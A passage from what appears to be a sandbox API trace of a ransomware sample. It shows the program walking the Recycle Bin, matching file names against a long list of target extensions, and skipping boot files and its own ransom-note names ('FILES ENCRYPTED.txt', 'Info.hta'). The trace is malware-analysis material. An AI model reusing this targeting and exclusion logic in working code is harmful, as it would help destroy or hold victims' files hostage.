lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0094.587] lstrlenW (lpString=".accdw") returned 6 [0094.587] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0094.587] lstrlenW (lpString=".adb") returned 4 [0094.587] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0094.587] lstrlenW (lpString=".adp") returned 4 [0094.587] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0094.587] lstrlenW (lpString=".ai") returned 3 [0094.587] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0094.587] lstrlenW (lpString=".ai3") returned 4 [0094.587] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0094.587] lstrlenW (lpString=".ai4") returned 4 [0094.587] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0094.587] lstrlenW (lpString=".ai5") returned 4 [0094.587] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0094.587] lstrlenW (lpString=".ai6") returned 4 [0094.588] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".ai7") returned 4 [0094.588] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".ai8") returned 4 [0094.588] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".anim") returned 5 [0094.588] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0094.588] lstrlenW (lpString=".arw") returned 4 [0094.588] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".as") returned 3 [0094.588] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0094.588] lstrlenW (lpString=".asa") returned 4 [0094.588] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".asc") returned 4 [0094.588] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".ascx") returned 5 [0094.588] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0094.588] lstrlenW (lpString=".asm") returned 4 [0094.588] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".asmx") returned 5 [0094.588] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0094.588] lstrlenW (lpString=".asp") returned 4 [0094.588] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".aspx") returned 5 [0094.588] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0094.588] lstrlenW (lpString=".asr") returned 4 [0094.588] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0094.588] lstrlenW (lpString=".asx") returned 4 [0094.589] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".avi") returned 4 [0094.589] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".avs") returned 4 [0094.589] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".backup") returned 7 [0094.589] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0094.589] lstrlenW (lpString=".bak") returned 4 [0094.589] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".bay") returned 4 [0094.589] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".bd") returned 3 [0094.589] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0094.589] lstrlenW (lpString=".bin") returned 4 [0094.589] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".bmp") returned 4 [0094.589] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".bz2") returned 4 [0094.589] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".c") returned 2 [0094.589] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0094.589] lstrlenW (lpString=".cdr") returned 4 [0094.589] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".cer") returned 4 [0094.589] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0094.589] lstrlenW (lpString=".cf") returned 3 [0094.589] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0094.589] lstrlenW (lpString=".cfc") returned 4 [0094.590] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".cfm") returned 4 [0094.590] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".cfml") returned 5 [0094.590] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0094.590] lstrlenW (lpString=".cfu") returned 4 [0094.590] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".chm") returned 4 [0094.590] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".cin") returned 4 [0094.590] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".class") returned 6 [0094.590] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0094.590] lstrlenW (lpString=".clx") returned 4 [0094.590] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".config") returned 7 [0094.590] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0094.590] lstrlenW (lpString=".cpp") returned 4 [0094.590] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".cr2") returned 4 [0094.590] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0094.590] lstrlenW (lpString=".crt") returned 4 [0094.590] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".crw") returned 4 [0094.591] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".cs") returned 3 [0094.591] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0094.591] lstrlenW (lpString=".css") returned 4 [0094.591] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".csv") returned 4 [0094.591] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".cub") returned 4 [0094.591] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".dae") returned 4 [0094.591] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".dat") returned 4 [0094.591] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".db") returned 3 [0094.591] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0094.591] lstrlenW (lpString=".dbf") returned 4 [0094.591] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".dbx") returned 4 [0094.591] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".dc3") returned 4 [0094.591] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".dcm") returned 4 [0094.591] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".dcr") returned 4 [0094.591] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0094.591] lstrlenW (lpString=".der") returned 4 [0094.592] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".dib") returned 4 [0094.592] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".dic") returned 4 [0094.592] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".dif") returned 4 [0094.592] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".divx") returned 5 [0094.592] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0094.592] lstrlenW (lpString=".djvu") returned 5 [0094.592] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0094.592] lstrlenW (lpString=".dng") returned 4 [0094.592] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".doc") returned 4 [0094.592] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".docm") returned 5 [0094.592] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0094.592] lstrlenW (lpString=".docx") returned 5 [0094.592] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.592] lstrlenW (lpString=".dot") returned 4 [0094.592] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".dotm") returned 5 [0094.592] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0094.592] lstrlenW (lpString=".dotx") returned 5 [0094.592] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0094.592] lstrlenW (lpString=".dpx") returned 4 [0094.592] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0094.592] lstrlenW (lpString=".dqy") returned 4 [0094.593] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".dsn") returned 4 [0094.593] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".dt") returned 3 [0094.593] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0094.593] lstrlenW (lpString=".dtd") returned 4 [0094.593] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".dwg") returned 4 [0094.593] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".dwt") returned 4 [0094.593] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".dx") returned 3 [0094.593] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0094.593] lstrlenW (lpString=".dxf") returned 4 [0094.593] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".edml") returned 5 [0094.593] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0094.593] lstrlenW (lpString=".efd") returned 4 [0094.593] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".elf") returned 4 [0094.593] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".emf") returned 4 [0094.593] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".emz") returned 4 [0094.593] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".epf") returned 4 [0094.593] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0094.593] lstrlenW (lpString=".eps") returned 4 [0094.594] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".epsf") returned 5 [0094.594] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0094.594] lstrlenW (lpString=".epsp") returned 5 [0094.594] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0094.594] lstrlenW (lpString=".erf") returned 4 [0094.594] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".exr") returned 4 [0094.594] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".f4v") returned 4 [0094.594] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".fido") returned 5 [0094.594] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0094.594] lstrlenW (lpString=".flm") returned 4 [0094.594] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".flv") returned 4 [0094.594] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".frm") returned 4 [0094.594] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".fxg") returned 4 [0094.594] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".geo") returned 4 [0094.594] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".gif") returned 4 [0094.594] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".grs") returned 4 [0094.594] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0094.594] lstrlenW (lpString=".gz") returned 3 [0094.595] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0094.595] lstrlenW (lpString=".h") returned 2 [0094.595] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0094.595] lstrlenW (lpString=".hdr") returned 4 [0094.595] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".hpp") returned 4 [0094.595] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".hta") returned 4 [0094.595] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".htc") returned 4 [0094.595] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".htm") returned 4 [0094.595] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".html") returned 5 [0094.595] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0094.595] lstrlenW (lpString=".icb") returned 4 [0094.595] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".ics") returned 4 [0094.595] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".iff") returned 4 [0094.595] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".inc") returned 4 [0094.595] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0094.595] lstrlenW (lpString=".indd") returned 5 [0094.595] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0094.595] lstrlenW (lpString=".ini") returned 4 [0094.595] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0094.596] lstrlenW (lpString="desktop.ini") returned 11 [0094.596] lstrlenW (lpString=".love$") returned 6 [0094.596] lstrcmpiW (lpString1=".love$", lpString2="op.ini") returned -1 [0094.596] lstrlenW (lpString="desktop.ini") returned 11 [0094.596] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0094.596] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0094.596] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0094.596] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0094.596] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0094.596] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0094.596] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0094.596] lstrcmpiW (lpString1="finbbp.exe", lpString2="desktop.ini") returned 1 [0094.596] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.596] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0094.596] FindClose (in: hFindFile=0x3e50580 | out: hFindFile=0x3e50580) returned 1 [0094.596] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0094.596] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0094.597] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0094.597] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0094.597] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0094.597] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1 [0094.597] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e61060 [0094.597] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0094.597] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50480 [0094.597] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.597] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.597] lstrlenW (lpString="desktop.ini") returned 11 [0094.597] lstrlenW (lpString=".1cd") returned 4 [0094.597] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.597] lstrlenW (lpString=".3ds") returned 4 [0094.597] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0094.597] lstrlenW (lpString=".3fr") returned 4 [0094.597] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0094.597] lstrlenW (lpString=".3g2") returned 4 [0094.597] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0094.597] lstrlenW (lpString=".3gp") returned 4 [0094.598] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0094.598] lstrlenW (lpString=".7z") returned 3 [0094.598] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.598] lstrlenW (lpString=".accda") returned 6 [0094.598] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0094.598] lstrlenW (lpString=".accdb") returned 6 [0094.598] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0094.598] lstrlenW (lpString=".accdc") returned 6 [0094.598] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0094.598] lstrlenW (lpString=".accde") returned 6 [0094.598] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0094.598] lstrlenW (lpString=".accdt") returned 6 [0094.598] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0094.598] lstrlenW (lpString=".accdw") returned 6 [0094.598] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0094.598] lstrlenW (lpString=".adb") returned 4 [0094.598] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0094.598] lstrlenW (lpString=".adp") returned 4 [0094.598] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0094.598] lstrlenW (lpString=".ai") returned 3 [0094.598] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0094.598] lstrlenW (lpString=".ai3") returned 4 [0094.598] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0094.598] lstrlenW (lpString=".ai4") returned 4 [0094.598] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0094.598] lstrlenW (lpString=".ai5") returned 4 [0094.598] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0094.598] lstrlenW (lpString=".ai6") returned 4 [0094.599] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".ai7") returned 4 [0094.599] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".ai8") returned 4 [0094.599] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".anim") returned 5 [0094.599] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0094.599] lstrlenW (lpString=".arw") returned 4 [0094.599] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".as") returned 3 [0094.599] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0094.599] lstrlenW (lpString=".asa") returned 4 [0094.599] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".asc") returned 4 [0094.599] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".ascx") returned 5 [0094.599] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0094.599] lstrlenW (lpString=".asm") returned 4 [0094.599] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".asmx") returned 5 [0094.599] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0094.599] lstrlenW (lpString=".asp") returned 4 [0094.599] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".aspx") returned 5 [0094.599] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0094.599] lstrlenW (lpString=".asr") returned 4 [0094.599] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0094.599] lstrlenW (lpString=".asx") returned 4 [0094.600] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".avi") returned 4 [0094.600] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".avs") returned 4 [0094.600] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".backup") returned 7 [0094.600] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0094.600] lstrlenW (lpString=".bak") returned 4 [0094.600] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".bay") returned 4 [0094.600] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".bd") returned 3 [0094.600] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0094.600] lstrlenW (lpString=".bin") returned 4 [0094.600] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".bmp") returned 4 [0094.600] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".bz2") returned 4 [0094.600] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".c") returned 2 [0094.600] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0094.600] lstrlenW (lpString=".cdr") returned 4 [0094.600] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".cer") returned 4 [0094.600] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0094.600] lstrlenW (lpString=".cf") returned 3 [0094.600] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0094.600] lstrlenW (lpString=".cfc") returned 4 [0094.601] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".cfm") returned 4 [0094.601] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".cfml") returned 5 [0094.601] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0094.601] lstrlenW (lpString=".cfu") returned 4 [0094.601] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".chm") returned 4 [0094.601] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".cin") returned 4 [0094.601] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".class") returned 6 [0094.601] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0094.601] lstrlenW (lpString=".clx") returned 4 [0094.601] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".config") returned 7 [0094.601] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0094.601] lstrlenW (lpString=".cpp") returned 4 [0094.601] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".cr2") returned 4 [0094.601] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".crt") returned 4 [0094.601] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".crw") returned 4 [0094.601] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0094.601] lstrlenW (lpString=".cs") returned 3 [0094.601] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0094.602] lstrlenW (lpString=".css") returned 4 [0094.602] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".csv") returned 4 [0094.602] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".cub") returned 4 [0094.602] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dae") returned 4 [0094.602] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dat") returned 4 [0094.602] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".db") returned 3 [0094.602] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0094.602] lstrlenW (lpString=".dbf") returned 4 [0094.602] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dbx") returned 4 [0094.602] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dc3") returned 4 [0094.602] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dcm") returned 4 [0094.602] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dcr") returned 4 [0094.602] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".der") returned 4 [0094.602] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dib") returned 4 [0094.602] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0094.602] lstrlenW (lpString=".dic") returned 4 [0094.602] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0094.603] lstrlenW 